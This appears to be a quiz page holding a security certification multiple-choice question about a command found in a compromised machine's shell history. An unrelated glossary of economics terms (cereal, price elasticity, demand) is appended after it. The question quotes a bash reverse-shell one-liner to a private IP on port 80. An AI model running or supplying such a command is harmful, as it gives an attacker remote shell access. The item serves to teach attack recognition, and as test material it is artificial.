The Following Line Was Found in an Exploited Machine's History

question 139

Multiple Choice

The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does?

• A) Performs a port scan.
• B) Grabs the web server's banner.
• C) Redirects a TTY to a remote system.
• D) Removes error logs for the supplied IP.

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Definitions:

Cereal

A food product made from processed grains, often eaten as breakfast and typically served cold with milk.

Price Elasticity of Demand

A measure of how responsive the quantity demanded of a good is to a change in its price, with higher elasticity indicating greater sensitivity.

Demand

The amount of a product or service that buyers are prepared and capable of buying at different price levels over a specified time frame.

Price Elastic

Price elasticity refers to the degree to which the quantity demanded of a good or service changes in response to a change in its price.